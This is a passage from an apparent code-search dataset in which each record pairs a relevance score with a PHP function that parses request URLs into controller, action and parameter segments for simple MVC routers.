\\Routes::getRoot();\n\t\tif(empty($route[0]) && $root[0] === ''){\n\t\t\t$this->controllerName = \\Config::DEFAULT_CONTROLLER;\n\t\t\t$this->action = \\Config::DEFAULT_ACTION;\n\t\t}\n\t\telseif(empty($route[0]) && ($root !== null || $root !== '')){\n\t\t\t$this->controllerName = ucFirst($root[0]);\n\t\t\t$this->action = isset($root[1]) ? $root[1] : \\Config::DEFAULT_ACTION;\n\t\t}\n\t\telse{\n\t\t\t$this->controllerName = (!empty($route[0])) ? ucFirst($route[0]): \\Config::DEFAULT_CONTROLLER;\n\t\t\t$this->action = (!empty($route[1])) ? $route[1]: \\Config::DEFAULT_ACTION;\n\t\t\tfor($i = 2; $i < count($route); $i ++){\n\t\t\t\t$this->params[] = $route[$i];\n\t\t\t}\n\t\t}\n\t}", "title": "" }, { "docid": "4c79f10bfb5771d08c51b3f3e8752df5", "score": "0.6310105", "text": "private function parseUrlAndSetAttributes()\n {\n if($this->current_subsystem == \"/\") {\n $this->current_subsystem = \"\";\n }\n if(is_string($this->urlToDispatch) AND (isset($this->urlToDispatch[-1]) AND $this->urlToDispatch[-1] == '/'))\n {\n $this->urlToDispatch = substr($this->urlToDispatch, 0, -1);\n }\n $urlSegments = explode(\"/\", $this->urlToDispatch);\n\n // First segment is the controller - store its name ad SEO name if controller is passed\n if ($urlSegments[0] != \"\")\n {\n $this->controller_class = $this->current_subsystem . $this->underscoreToCamelCase($urlSegments[0],true);\n $this->controllerSEOClassName = strtolower($urlSegments[0]);\n }\n\n // if root subsystem\n else if ($this->current_subsystem == \"\")\n {\n $default_controller = Config::get('route.default_controller');\n $this->controller_class = $this->underscoreToCamelCase($default_controller, true);\n $this->controllerSEOClassName = strtolower($default_controller);\n }\n\n // if root child subsystem\n else\n {\n $default_controller = Config::get('route.default_controller');\n $this->controller_class = $this->underscoreToCamelCase($default_controller, true);\n $this->controllerSEOClassName = strtolower($default_controller);\n }\n\n // Second segment is a controller Method\n if (isset($urlSegments[1]))\n {\n $this->method = $this->underscoreToCamelCase($urlSegments[1]);\n\n // If a method is present, then all the other right segments are\n // considered as method's parameters\n if (count($urlSegments) > 2)\n {\n $temp = array_slice($urlSegments, 2, count($urlSegments) - 1);\n\n $i = 0;\n foreach ($temp as $key => $value) {\n $this->methodParameters[$i] = $value;\n $i++;\n }\n }\n }\n }", "title": "" }, { "docid": "194e2319f81a1f4c45b5a8a5c7eab3ac", "score": "0.6278384", "text": "protected function initParsedUrlSegments () {\n\t\t$absoluteUrl = $this->Protocol . '//' . $this->serverGlobals['HTTP_HOST'] . $this->serverGlobals['REQUEST_URI'];\n\t\t$parsedUrl = parse_url($absoluteUrl);\n\t\t$keyUc = '';\n\t\tforeach ($parsedUrl as $key => $value) {\n\t\t\t$keyUc = ucfirst($key);\n\t\t\tif (isset($this->$keyUc)) {\n\t\t\t\t$this->$keyUc = (string) $value;\n\t\t\t}\n\t\t}\n\t\t$this->ServerName = $this->serverGlobals['SERVER_NAME'];\n\t\t$this->Host = $this->serverGlobals['HTTP_HOST'];\n\t}", "title": "" }, { "docid": "cfd3e6ee0493a9cf5ff7d15de33b1669", "score": "0.62382627", "text": "private function url()\n {\n if ($this->request::get('url') !== NULL) {\n $url = trim($this->request::get('url'), '/');\n\n //sanitize url strings\n $url = filter_var($url, FILTER_SANITIZE_URL);\n\n //split the url\n $url = explode('/', $url);\n\n $this->controller = $url[0] ?? null;\n $this->method = $url[1] ?? null;\n\n // Remove controller and action from the split URL\n unset($url[0], $url[1]);\n\n // Rebase array keys and store the URL params\n $this->parameters = array_values($url);\n }\n }", "title": "" }, { "docid": "35979bbc67a2d412eaa6cd79ec7fc474", "score": "0.6224205", "text": "public function url_parse($url){\n\t\t$full_url = parse_url($url);\n\t\t//echo '<br />proc->url_parse(): '.$full_url['path'][strlen($full_url['path'])-1];\n\t\t//echo '<br />proc->url_parse(): '.$full_url['path'];\n\t\tif($full_url['path']=='/'){\n\t\t\t$urr['full'] = '/';\n\t\t\t$urr['list'][0] = '/';\n\t\t\t$urr['last'] = '/';\n\t\t\t//$urr['pattern'] = '${1}1,$1';\n\t\t\t$urr['qty']=1;\n\t\t\t$urr['path'] = '/';\n\t\t\t$urr['query'] = $full_url['query'];\n\t\t\t//echo '+++';\n\t\t}else{\n\t\t\t$urr['len']=strlen($full_url['path']);\n\t\t\tif(strpos($full_url['path'],\"%20\")){\n\t\t\t\t$despaced=str_replace(\"%20\", \"_\", $full_url);\n\t\t\t\theader(\"HTTP/1.1 301 Moved Permanently\");\n\t\t\t\theader(\"Location: $despaced\");\n\t\t\t}\n\t\t\n\t\t\t$uri=explode(\"/\", $full_url['path']) ;\n\t\t\t\n\t\t\t$i=1;\n\t\t\t$urr['full']=str_replace('_', ' ', urldecode($uri[1]));\n\t\t\twhile ($uri[$i]){\n\t\t\t\t$urr['list'][$i-1]=str_replace('_', ' ', urldecode($uri[$i]));\n\t\t\t\tif($i>1){\n\t\t\t\t\t$urr['full'].=('/'.$urr['list'][$i-1]);\n\t\t\t\t}\n\t\t\t$i++;\n\t\t\t}\n\t\t\t$urr['last'] = $urr['list'][$i-2];\n\t\t\t$urr['qty']=$i-1;\n\t\t\t$urr['path'] = $full_url['path'];\n\t\t\t$urr['query'] = $full_url['query'];\n\t\t\tif($full_url['path'][$urr['len']-1]=='/'){//проверяем наличие слэша в конце\n\t\t\t\t$urr['slash']=TRUE;\n\t\t\t}else{\n\t\t\t\t$urr['slash']=FALSE;\n\t\t\t}\n\t\t}\n\t\t//$urr['full'].=('#'.$urr['query']);\n\t\treturn $urr;\n\t}", "title": "" }, { "docid": "a125a31eb294ca21cd6b42c2a7b231e8", "score": "0.6193769", "text": "public function parse()\n {\n // turn the url into an array by nodes\n $this->nodes = explode('/', $this->url);\n \n\t\t// check to see if action is present\n if( $this->nodes[ $this->node_offset ] == 'action' ){\n\t $this->action = $this->nodes[ $this->node_offset + 1 ];\n }\n\n \n }", "title": "" }, { "docid": "be906082a19471eb8d680ce899b1fb5c", "score": "0.61884433", "text": "private function parseURL(){\n\t\t$arrUrl = explode('/', $this->strUrl);\n\t\t\n\t\t$this->strController = (isset($arrUrl[0]) && $arrUrl[0] !== '') ? ucfirst(strToLower($arrUrl[0])) : DEFAULT_CONTROLLER;\n\t\t$this->strAction = (isset($arrUrl[1]) && $arrUrl[1] !== '') ? ucfirst(strToLower($arrUrl[1])) : DEFAULT_ACTION;\n\t\t\n\t\tfor($i = 2; $i < count($arrUrl); $i ++){\n\t\t\t$this->arrArgs[] = $arrUrl[$i];\n\t\t}\n\t}", "title": "" }, { "docid": "f3fde0fdbb821d605055adfb99b5caec", "score": "0.6176048", "text": "function setURL($url) {\n\t\t$this->url = $url;\n\n\t\t$u = parse_url($url);\n\t\tforeach($u as $k => $v){\n\t\t\t$this->debug(\"parsed URL $k = $v\");\n\t\t\t$this->$k = $v;\n\t\t}\n\t\t\n\t\t// add any GET params to path\n\t\tif(isset($u['query']) && $u['query'] != ''){\n $this->path .= '?' . $u['query'];\n\t\t}\n\t\t\n\t\t// set default port\n\t\tif(!isset($u['port'])){\n\t\t\tif($u['scheme'] == 'https'){\n\t\t\t\t$this->port = 443;\n\t\t\t} else {\n\t\t\t\t$this->port = 80;\n\t\t\t}\n\t\t}\n \n\t\t// override changes: from path to url\n\t\t$this->uri = $url;\n // override changes end\n \n\t\t$this->digest_uri = $this->uri;\n\t\t\n\t\t// build headers\n\t\tif (!isset($u['port'])) {\n\t\t\t$this->setHeader('Host', $this->host);\n\t\t} else {\n\t\t\t$this->setHeader('Host', $this->host.':'.$this->port);\n\t\t}\n\n\t\tif (isset($u['user']) && $u['user'] != '') {\n\t\t\t$this->setCredentials(urldecode($u['user']), isset($u['pass']) ? urldecode($u['pass']) : '');\n\t\t}\n\t}", "title": "" }, { "docid": "3474f2408b1da8ff4dca8bdf2adae147", "score": "0.6163492", "text": "private function defineUrl()\n {\n $this->url = isset($_GET['url']) ? explode('/', $_GET['url']) : null;\n }", "title": "" }, { "docid": "ae52aea4b47c67b99ad2304bb26f763f", "score": "0.6094365", "text": "function parseUri(){\n\t\t$elements = explode('/', substr($_SERVER['REQUEST_URI'], 1));\t\n\t\tif (sizeof($elements) >= 3){\n\t\t\t$this->zone = $this->protect($elements[0]);\n\t\t\t$this->directory = $this->protect($elements[1]);\n\t\t\t$this->file = $this->protect($elements[2]);\n\t\t\tfor ($i=3; $i < sizeof($elements); $i=$i+2){\n\t\t\t\t$this->parameters[$this->protect($elements[$i])] = $this->protect($elements[$i+1]);\n\t\t\t}\n\t\t\tif (($this->zone != 'pl') && ($this->zone != 'sk')){\n\t\t\t\t$this->zone = 'pl';\n\t\t\t}\n\t\t}else{\n\t\t\t//jesli sciezka jest niepelna to nalezy ja uzupelnic\n\t\t\t$this->zone = $this->defaultZone;\n\t\t\t$this->directory = $this->defaultDirectory;\n\t\t\t$this->file = $this->defaultFile;\n\t\t}\n\t}", "title": "" }, { "docid": "212405cb827ad7df363b28aa18bd12c7", "score": "0.60736346", "text": "protected function parseUri(){\n $path = trim(parse_url($_SERVER[\"REQUEST_URI\"], PHP_URL_PATH), \"/\");\n $path=explode('web.php/',$path);\n @list($controller, $action, $params)=explode('/',$path[1],3);\n if(empty($controller)) $controller=self::URL_CONTROLLER;\n if(empty($action)) $action=self::URL_ACTION;\n if(isset($controller)) $this->setController($controller);\n if(isset($action)) $this->setAction($action);\n if(isset($params)) {\n $params=explode('/',$params);\n for($i=0;$i<count($params);$i+=2){\n $tab[$params[$i]]=$params[$i+1];\n }\n }\n\n }", "title": "" }, { "docid": "e727193e6a3471eb28b98d678f078ded", "score": "0.6066205", "text": "public function setUri()\n {\n $this->uri = isset($_GET['url']) ? explode('/', $_GET['url']) : '';\n }", "title": "" }, { "docid": "4fdaf03dfa719ec0782e6734ba761a78", "score": "0.60640347", "text": "abstract protected function infoURL();", "title": "" }, { "docid": "876d702a3317be7ee1ab968c69c56963", "score": "0.6062942", "text": "protected static function parse_url($url)\n {\n }", "title": "" }, { "docid": "107e384ea5851534e6d66d360900a2c7", "score": "0.60519046", "text": "private function parseURI () {\n $this->add(\n '/',\n array(\n 'controller' => 'IndexController',\n 'model' => 'IndexModel',\n 'view' => 'IndexView'\n )\n );\n $this->add(\n '',\n array(\n 'controller' => 'IndexController',\n 'model' => 'IndexModel',\n 'view' => 'IndexView'\n )\n );\n }", "title": "" }, { "docid": "60c66b7ea2780fe3f2431076cdc00112", "score": "0.60478413", "text": "private function setURLValue()\n {\n if (!$this->URLSegment || ($this->isChanged('Title') && !$this->isChanged('URLSegment'))) {\n if ($this->ID > 0) {\n $Renamed = new Renamed();\n $Renamed->OldLink = $this->URLSegment;\n $Renamed->NewsID = $this->ID;\n $Renamed->write();\n\n $this->URLSegment = singleton('SiteTree')->generateURLSegment($this->Title);\n if (strpos($this->URLSegment, 'page-') === false) {\n $URLSegment = $this->URLSegment;\n if ($this->LookForExistingURLSegment($URLSegment)) {\n $URLSegment = $this->URLSegment . '-' . $this->ID;\n }\n $this->URLSegment = $URLSegment;\n }\n }\n }\n }", "title": "" }, { "docid": "4e9c2805040a98f078d878030d601b36", "score": "0.6006585", "text": "private function parseURL()\n {\n if (isset($_GET['url'])) {\n $url = explode('/', filter_var(rtrim($_GET['url'], '/'), FILTER_SANITIZE_URL));\n if (isset($url[0])) {\n $this->_controller_Name = ucfirst(strtolower($url[0])) . 'Controller';\n }\n $this->_method_Name = isset($url[1]) ? $url[1] : $this->method;\n switch ($this->_method_Name) {\n case 'upload':\n $this->_controller_Name = 'AssetsController';\n $this->method = $this->_method_Name;\n break;\n\n default:\n $this->method = $this->_method_Name;\n break;\n }\n unset($url[0], $url[1]);\n $this->params = count($url) > 0 ? array_values($url) : [];\n }\n }", "title": "" }, { "docid": "9cf76e2dfd879e40a818435c81a098c8", "score": "0.59413344", "text": "private function setUrlArray()\n {\n $this->urlArray = parse_url($this->url);\n if (isset($this->urlArray['query'])) {\n parse_str(html_entity_decode($this->urlArray['query']), $this->urlArray['query']);\n }\n $this->urlArray['method'] = $_SERVER['REQUEST_METHOD'];\n }", "title": "" }, { "docid": "9ec42befb13317f9a75fe91e4befde67", "score": "0.5904902", "text": "public function getParsedURL();", "title": "" }, { "docid": "6fbf4554696d6398032fdbdec74eed7d", "score": "0.59041464", "text": "private function parseUrl(&$parameters)\n {\n $urlConfigRoot = new ezcUrlConfiguration();\n $urlConfigRoot->script='index.php';\n $urlConfigRoot->addOrderedParameter('module');\n \n $url=new ezcUrl($_SERVER['REQUEST_URI'], $urlConfigRoot);\n\n $moduleIdentifier = $url->getParam('module');\n \n $urlConfig = $this->urlConfigs[$moduleIdentifier];\n \n if(!$urlConfig)\n {\n $urlConfig = $this->urlConfigs['notfound'];\n $url=new ezcURL('/notfound/notfound/notfound', $urlConfigRoot);\n }\n $url->applyConfiguration($urlConfig);\n // var_dump($url->params);\n \n $parameters = array_merge($url->getQuery(), $_POST);\n $parameters['url'] = $url;\n $parameters['method'] = strtolower($_SERVER['REQUEST_METHOD']); \n $parameters['client_ip'] = $_SERVER['REMOTE_ADDR'];\n $parameters['client_port'] = $_SERVER['REMOTE_PORT'];\n // var_dump($url->path);\n \n\n }", "title": "" }, { "docid": "89cf028dc0e5c773bed900fb4b53ce25", "score": "0.59020853", "text": "private function analyzeURL() {\n //get the url and break it to array of element\n $url = isset($_GET['url']) ? $_GET['url'] : null;\n $url = rtrim($url, '/');\n $url = explode('/', $url);\n //print_r($url);\n $this->urlArr = array(\n \"controller\" => isset($url[0]) ? $url[0] : null,\n \"action\" => isset($url[1]) ? $url[1] : null,\n \"param\" => isset($url[2]) ? $url[2] : null,\n \"trash\" => isset($url[3]) ? $url[3] : null,\n );\n }", "title": "" }, { "docid": "18b27660ffd36a87d05d00e4681689e0", "score": "0.5861279", "text": "public static function urlParser($_url = 'current', $_type = 'domain', $_arg = null)\n\t{\n\t\t// if dont pass url use referrer url\n\t\tif($_url === 'referer')\n\t\t{\n\t\t\t$_url = isset($_SERVER['HTTP_REFERER'])? $_SERVER['HTTP_REFERER']: null;\n\t\t\t// if dont set shema for url set it, usually it occur on local\n\t\t\t$_url = substr($_url, 0, 4) === 'http'? $_url: Protocol.'://'.$_url;\n\t\t}\n\n\n\t\tswitch ($_type)\n\t\t{\n\t\t\tcase 'sub':\n\t\t\t\t$myplace = isset($myplace)? $myplace: 3;\n\t\t\tcase 'domain':\n\t\t\t\t$myplace = isset($myplace)? $myplace: 2;\n\t\t\tcase 'tld':\n\t\t\t\t$myplace = isset($myplace)? $myplace: 1;\n\n\t\t\tcase 'host':\n\t\t\t\t$myurl = parse_url($_url, PHP_URL_HOST);\n\t\t\t\tif($_type === 'host')\n\t\t\t\t{\n\t\t\t\t\treturn $myurl;\n\t\t\t\t}\n\n\t\t\t\tif (isset($myurl) && $myurl)\n\t\t\t\t{\n\t\t\t\t\t$myurl = explode('.', $myurl);\n\t\t\t\t\tif(count($myurl)>=$myplace)\n\t\t\t\t\t{\n\t\t\t\t\t\t$myurl = $myurl[count($myurl)-$myplace];\n\t\t\t\t\t}\n\t\t\t\t\telse\n\t\t\t\t\t{\n\t\t\t\t\t\t$myurl = false;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\telse\n\t\t\t\t\t$myurl = null;\n\t\t\t\tbreak;\n\n\t\t\t// retun the path of url\n\t\t\tcase 'path':\n\t\t\t\tif($_url === 'current')\n\t\t\t\t{\n\t\t\t\t\t$_url = isset($_SERVER['REQUEST_URI'])? $_SERVER['REQUEST_URI']: null;\n\t\t\t\t}\n\n\t\t\t\t// clear url\n\t\t\t\t$_url = self::urlfilterer($_url);\n\t\t\t\t$myurl = parse_url($_url, PHP_URL_PATH);\n\t\t\t\tif($_arg === 'array')\n\t\t\t\t{\n\t\t\t\t\t$myurl = trim($myurl, '/');\n\t\t\t\t\t$myurl = explode('/', $myurl);\n\t\t\t\t}\n\t\t\t\treturn $myurl;\n\t\t\t\tbreak;\n\n\t\t\t// return full url of referrer\n\t\t\tcase 'full':\n\t\t\t\t$myurl = $_url;\n\t\t\t\tbreak;\n\n\t\t\tdefault:\n\t\t\t\t$myurl = null;\n\t\t\t\tbreak;\n\t\t}\n\n\t\treturn $myurl;\n\n\t\t// add other mode like below to complete this function\n\n\t\t// PHP_URL_SCHEME\n\t\t// PHP_URL_PORT\n\t\t// PHP_URL_USER\n\t\t// PHP_URL_PASS\n\t\t// PHP_URL_PATH\t-\n\t\t// PHP_URL_QUERY\n\t\t// PHP_URL_FRAGMENT\n\t}", "title": "" }, { "docid": "0e9da83f803c1e7192974b76f0c96a1f", "score": "0.5856421", "text": "private function __construct()\n {\n $this->_parse_url();\n }", "title": "" }, { "docid": "aa2960af89b7ade87a9a2e1308c5e2fb", "score": "0.58314437", "text": "abstract public function getURL();", "title": "" }, { "docid": "06d187cc6dc6f08da011f6f3c0e53fb8", "score": "0.5816586", "text": "abstract protected function _getPostUrl();", "title": "" }, { "docid": "9b8c30d5d6babcbfa23194c45246de59", "score": "0.58001447", "text": "function parseURL($url){\n $urlExploded = explode('/', $url); //Separa la URL por '/' y la guarda en un arreglo para acceder las partes por posición.\n //REQUEST_METHOD devuelve el método usado, 'GET' 'POST' 'PUT' 'DELETE' etc.\n $arrayReturn[ConfigApi::$RESOURCE] = $urlExploded[0] . '#' . $_SERVER['REQUEST_METHOD']; //Guarda valor de la $urlExploded[0] (url # método), en la primera posicion de $arrayReturn.\n\n //Si están seteados los parámetros hace un array_slice (Agarra todo lo que haya desde la posición 1 en adelante, ($urlExploded,1)\n //osea todo lo que haya luego de la action, y lo pone junto). Si no están seteados pone null. (Guarda resultado en $arrayReturn como $PARAMS).\n $arrayReturn[ConfigApi::$PARAMS] = isset($urlExploded[1]) ? array_slice($urlExploded,1) : null;\n return $arrayReturn;\n}", "title": "" }, { "docid": "a87fd5345d705459fc6ae639c71b68ab", "score": "0.579608", "text": "function __construct(){\n\t\t\t/*Instanciamos a la clase UrlParser para crear un objeto que nos devuelva \n\t\t\tun array con las propiedades separadas de la URL */\n\t\t\t$this -> url = new RequestParser();\n\n\t\t\t$this -> segmented_url = explode(\"/\", substr($this -> request_url, 1));\n\t\t\t$this -> redirect_request();\n\t\t}", "title": "" }, { "docid": "9004b4476784308b72e381f55e91e6a4", "score": "0.5792796", "text": "protected function extractURL(){\n\t\t\tif($this->routes->routeMatches()){\n\t\t\t\t$this->useDataFromDefinedRoutes();\n\t\t\t}else{\n\t\t\t\tBaseHelper::send404();\n\t\t\t} \n\t\t}", "title": "" }, { "docid": "543b4ad28c9c8a476329fba743d2dfff", "score": "0.57727444", "text": "private function splitUrl()\n {\n if (isset($_GET['url'])) {\n\n // split URL\n $url = trim($_GET['url'], '/');\n $url = filter_var($url, FILTER_SANITIZE_URL);\n $url = explode('/', $url);\n\n // Put URL parts into according properties\n\t\t\t$this->url_controller = trim($url[0] ?? self::DEFAULT_CONTROLLER);\n\t\t\t$this->url_action = trim($url[1] ?? self::DEFAULT_ACTION);\n\n // Remove controller and action from the split URL\n unset($url[0], $url[1]);\n\n // Rebase array keys and store the URL params\n $this->url_params = array_values($url);\n\n // for debugging. uncomment this if you have problems with the URL\n //echo 'Controller: ' . $this->url_controller . '<br>';\n //echo 'Action: ' . $this->url_action . '<br>';\n //echo 'Parameters: ' . print_r($this->url_params, true) . '<br>';\n }\n\t\telse {\n\t\t\t$this->url_controller = self::DEFAULT_CONTROLLER;\n\t\t\t$this->url_action = self::DEFAULT_ACTION;\n\t\t}\n }", "title": "" }, { "docid": "c2a92bc591a0c6b0cefcfb83b67a09d1", "score": "0.5767143", "text": "abstract public function getUri();", "title": "" }, { "docid": "7d15f0fe463ef95220ff249faf3ac4c8", "score": "0.57475513", "text": "protected function splitUrl()\n {\n // for nginx using request_uri\n if (isset($_SERVER['REQUEST_URI'])) {\n\n // split URL\n $url = rtrim($_SERVER['REQUEST_URI'], '/');\n $url = filter_var($url, FILTER_SANITIZE_URL);\n $url = explode('/', $url);\n array_shift($url);\n\n // Put URL parts into according properties\n $this->controller = isset($url[0]) ? $url[0] : null;\n $this->action = isset($url[1]) ? $url[1] : null;\n\n // Remove controller and action from the split URL\n unset($url[0], $url[1]);\n //\n // Rebase array keys and store the URL params\n $this->params = array_values($url);\n }\n }", "title": "" }, { "docid": "b09fa3de0e87acb0c5c489789c9a8642", "score": "0.5741966", "text": "public static function parse_URL($url)\n {\n }", "title": "" }, { "docid": "7a705cee96b6342dd786c80cea16433d", "score": "0.573749", "text": "function blogs_node_parse_url_($Node,$url,$node){\n\t\t$url = '/blogs/'.$node->author_url_name.''.$url;\n\t\treturn func_get_args();\n\t}", "title": "" }, { "docid": "890b65c3a74361e2fae2bcd05af50f34", "score": "0.5726837", "text": "public function _nodes()\n\t\t{\n\t\t\tif(isset($_GET['url']))\n\t\t\t{\n\t\t\t\t// load the url into url variable\n\t\t\t\t$url = $_GET['url'];\n\t\t\t\t\n\t\t\t\t//trim the url to remove slashes on right\n\t\t\t\t$url = rtrim($url,'/');\n\t\t\t\tdefine('ABS_REQUEST',ROOT.$url);\n\t\t\t\tdefine('REL_REQUEST',$url);\n\t\t\t\t//break the url to fragments\n\t\t\t\t$url = explode('/',$url);\n\t\t\t\t//load the url to the object variable \n\t\t\t\t// as n1,n2,n3....\n\t\t\t\tforeach($url as $key => $value)\n\t\t\t\t{\n\t\t\t\t\t$key++;\n\t\t\t\t\t$this->set('N'.$key,$value);\t\n\t\t\t\t}\n\t\t\t\t// store the terminal position of the node\n\t\t\t\t$terminal_node = 'N'.sizeof($url);\n\t\t\t\t$terminal_position = sizeof($url);\n\t\t\t\n\t\t\t\t$this->set('terminal_position',$terminal_position);\t\t\t\n\t\t\t\t$this->set('terminal_node',$terminal_node);\t\t\n\t\t\t\t$this->_node_terminal();\t\n\t\t\t}else\n\t\t\t{\n\t\t\t\t$this->set('terminal_position',0);\t\t\t\n\t\t\t\t$this->set('terminal_node',null);\t\t\t\t\t\n\t\t\t}\t\n\t\t}", "title": "" }, { "docid": "051e978080109d4ccc69cd8d384638b7", "score": "0.5720771", "text": "private function _parseURL() {\n if (($url = Input::get(\"url\"))) {\n\n // Trim, sanitise and return a exploded URL string.\n $this->_params = explode(\"/\", filter_var(rtrim($url, \"/\"), FILTER_SANITIZE_URL));\n }\n }", "title": "" }, { "docid": "5b918ca9586c33de1d48c7f39bba83e2", "score": "0.5714841", "text": "function parse( $url = \"\", $action = \"GET\" ){\n\t\tif(!$url){\n\t\t\tthrow new \\Exception(\"A valid url must be supplied to parse\");\n\t\t}\n\n\t\t$info = parse_url( $url );\n\n\t\t$info = $this->parse_extended($info);\n\n\t\t$info[\"action\"] = $action;\n\n\t\tforeach($info as $name => $value){\n\t\t\tif(array_key_exists($name, $this->info)){\n\t\t\t\t$this->info[$name] = $value;\n\t\t\t}\n\t\t}\n\t}", "title": "" }, { "docid": "68fd2352ed3198793eb575bcc0b3b0ea", "score": "0.57139605", "text": "protected function _updateUrl(){\n\t\t$this->service_url = $this->url . $this->Method; \n\t}", "title": "" }, { "docid": "a17d4447faa8080ea0023c673b7fd332", "score": "0.57101345", "text": "public function parse() {\r\n $uri = $_SERVER['REQUEST_URI'];\r\n\r\n // remove the request GET parameters \r\n $uri = ($qMarkPos = strpos($uri, '?')) !== false ? substr($uri, 0, $qMarkPos) : $uri;\r\n\r\n // remove the leading base path\r\n $uri = str_replace($this->getRelativePath(), '', $uri);\r\n\r\n // remove slashes\r\n $uri = trim($uri, '/');\r\n\r\n $this->_urlParams = explode('/', $uri);\r\n }", "title": "" }, { "docid": "a9c45bcf3c0d8fb8760d99bdc38ff19f", "score": "0.5702079", "text": "abstract public function setApiUrl();", "title": "" }, { "docid": "71b1d57e7a3f8116b9b4ee6d4a7a6d72", "score": "0.5700556", "text": "private function buildUrlParts()\n {\n $this->scheme = $this->getUrlPart($this->url, 'scheme');\n $this->host = $this->getUrlPart($this->url, 'host');\n $this->path = $this->getUrlPart($this->url, 'path');\n $this->query = $this->getUrlPart($this->url, 'query');\n $this->port = $this->getUrlPart($this->url, 'port');\n $this->ssl = $this->getUrlPart($this->url, 'ssl');\n }", "title": "" }, { "docid": "3093ef56283f8e28f08ed8b96a646d55", "score": "0.5699739", "text": "private function splitUrl()\n {\n if (isset($_GET['url'])) {\n\n // split URL\n $url = rtrim($_GET['url'], '/');\n $url = filter_var($url, FILTER_SANITIZE_URL);\n $url = explode('/', $url);\n\n // Put URL parts into according properties\n // By the way, the syntax here is just a short form of if/else, called \"Ternary Operators\"\n // @see http://davidwalsh.name/php-shorthand-if-else-ternary-operators\n $this->url_controller = isset($url[0]) ? $url[0] : null;\n $this->url_action = isset($url[1]) ? $url[1] : null;\n\n // Remove controller and action from the split URL\n unset($url[0], $url[1]);\n\n // Rebase array keys and store the URL params\n $this->url_params = array_values($url);\n\n // for debugging. uncomment this if you have problems with the URL\n //echo 'Controller: ' . $this->url_controller . '<br>';\n //echo 'Action: ' . $this->url_action . '<br>';\n //echo 'Parameters: ' . print_r($this->url_params, true) . '<br>';\n }\n }", "title": "" }, { "docid": "172bfbdedc89534704b28bb205f60b58", "score": "0.5695805", "text": "protected function set_uri() {\n\t\t$this->uri = array('path' => '', 'query' => array());\n\t\tif (!empty($_SERVER['REQUEST_URI'])) {\n\t\t\t$request = explode('?', $_SERVER['REQUEST_URI']);\n\t\t\t$this->uri['path'] = empty($request[0]) ? '' : $request[0];\n\t\t\tif (!empty($request[1])) {\n\t\t\t\tparse_str($request[1], $this->uri['query']);\n\t\t\t}\n\t\t}\n\t}", "title": "" }, { "docid": "eab9635d0c4d12ba0af6a3da8eb468b1", "score": "0.56941706", "text": "public function nodes()\n\t\t{\n\t\t\tif(isset($_GET['url']))\n\t\t\t{\n\t\t\t\t// load the url into url variable\n\t\t\t\t$url = $_GET['url'];\n\t\t\t\t\n\t\t\t\t//trim the url to remove slashes on right\n\t\t\t\t$url = rtrim($url,'/');\n\t\t\t\t//break the url to fragments\n\t\t\t\t$url = explode('/',$url);\n\t\t\t\t//load the url to the object variable \n\t\t\t\t// as n1,n2,n3....\n\t\t\t\tforeach($url as $key => $value)\n\t\t\t\t{\n\t\t\t\t\t$key++;\n\t\t\t\t\t$this->set('n'.$key,$value);\t\n\t\t\t\t}\n\t\t\t\t// store the terminal position of the node\n\t\t\t\t$terminal_position = 'n'.sizeof($url);\n\t\t\t\t$this->set('terminal_position',$terminal_position);\t\t\t\n\t\t\t\t$this->node_terminal();\n\t\t\t}\t\n\t\t}", "title": "" }, { "docid": "d0973d19984f48a23c6ab913e823de90", "score": "0.56735563", "text": "protected function get_uri()\n {\n }", "title": "" }, { "docid": "2195cb4ce9d23ea79b3a64ef5872f6d6", "score": "0.5665103", "text": "public function parse(){\n $urlParams = $this->getURI();\n\n $urlParams = explode(\"/\",$urlParams);\n $controller = null;\n $action = null;\n if (isset($urlParams[0]) && !empty(trim($urlParams[0]))) {\n $this->controller = strtolower(array_splice($urlParams,0,1)[0]);\n }\n\n if (isset($urlParams[0]) && !empty(trim($urlParams[0]))) {\n $this->action = strtolower(array_splice($urlParams,0,1)[0]);\n }\n $this->params = $urlParams;\n $this->postData = $_POST;\n $this->fileData = $_FILES;\n }", "title": "" }, { "docid": "3daa6db20fe05daa0e836d43c0c056f7", "score": "0.56580865", "text": "abstract protected function getRequestUrl();", "title": "" }, { "docid": "3daa6db20fe05daa0e836d43c0c056f7", "score": "0.56580865", "text": "abstract protected function getRequestUrl();", "title": "" }, { "docid": "3daa6db20fe05daa0e836d43c0c056f7", "score": "0.56580865", "text": "abstract protected function getRequestUrl();", "title": "" }, { "docid": "23e0bb2c2ea560977b098f1335aa828d", "score": "0.5641314", "text": "function SimpleRoute($url) {\r\n $this->_url = $url;\r\n }", "title": "" }, { "docid": "147ac26ef40d8f51997573e445d66803", "score": "0.56338936", "text": "public function parseUrl($url)\r\n\t{\r\n\t\tpreg_match('`^([a-z0-9]+://)?([^/:]+)(/.*$)?`i', $url, $out);\r\n\r\n\t\t$components = parse_url($url);\r\n\t\textract($components);\r\n\t\tif ($scheme == 'http')\r\n\t\t{\r\n\t\t\t$this->is_ssl = false;\r\n\t\t\t$this->port = 80;\r\n\t\t}\r\n\t\tif ($scheme == 'https')\r\n\t\t{\r\n\t\t\t$this->is_ssl = true;\r\n\t\t\t$this->port = 443;\r\n\t\t}\r\n\t\t$this->host = $host;\r\n\t\t$this->path = $path;\r\n\r\n\t\tif (isset($query))\r\n\t\t\t$this->data = $query;\r\n\t}", "title": "" }, { "docid": "636bbe890774f8279d9e6a2ba025b391", "score": "0.5627012", "text": "private function _getUrl() {\n $url = isset($_GET['url']) ? $_GET['url'] : null; //getting paramiters from url via htaccess\n $url = rtrim($url, '/'); //removing additional '/ ' from url\n $url = filter_var($url, FILTER_SANITIZE_URL); //removing unnecessory entries in url(like \\%/)\n $this->_url = explode(\"/\", $url); //deviding url into parts with '/'\n }", "title": "" }, { "docid": "adf5e280c7e865d389b6ec5981eb87ed", "score": "0.5621356", "text": "function handle_url(){\n global $_config, $t;\n if($this->multiuser){\n // The url should contain a least one select person, other wise return to the person chooser\n // Get the last two parts of the array\n $split_request = GetRequestVar($this->request_uri, $this->request_file_depth);\n //check if the user is set, otherwise show person chooser\n if (isset($split_request[1]) && Users::is_valid_user($split_request[1])) {\n $file_req = $split_request[0];\n $this->user_id = check_number($split_request[1]);\n $_SESSION['user_id'] = $this->user_id;\n if (isset($split_request[2]) && $split_request[2] == 'list') {\n $this->view_request = 0;\n if (isset($split_request[3])) {\n $this->requested_page = $split_request[3];\n }\n } elseif (isset($split_request[2])) {\n $t->assign('dive_detail' ,1);\n $this->view_request = 1; \n } else {\n $this->diver_choice = true;\n }\n switch ($file_req) {\n case 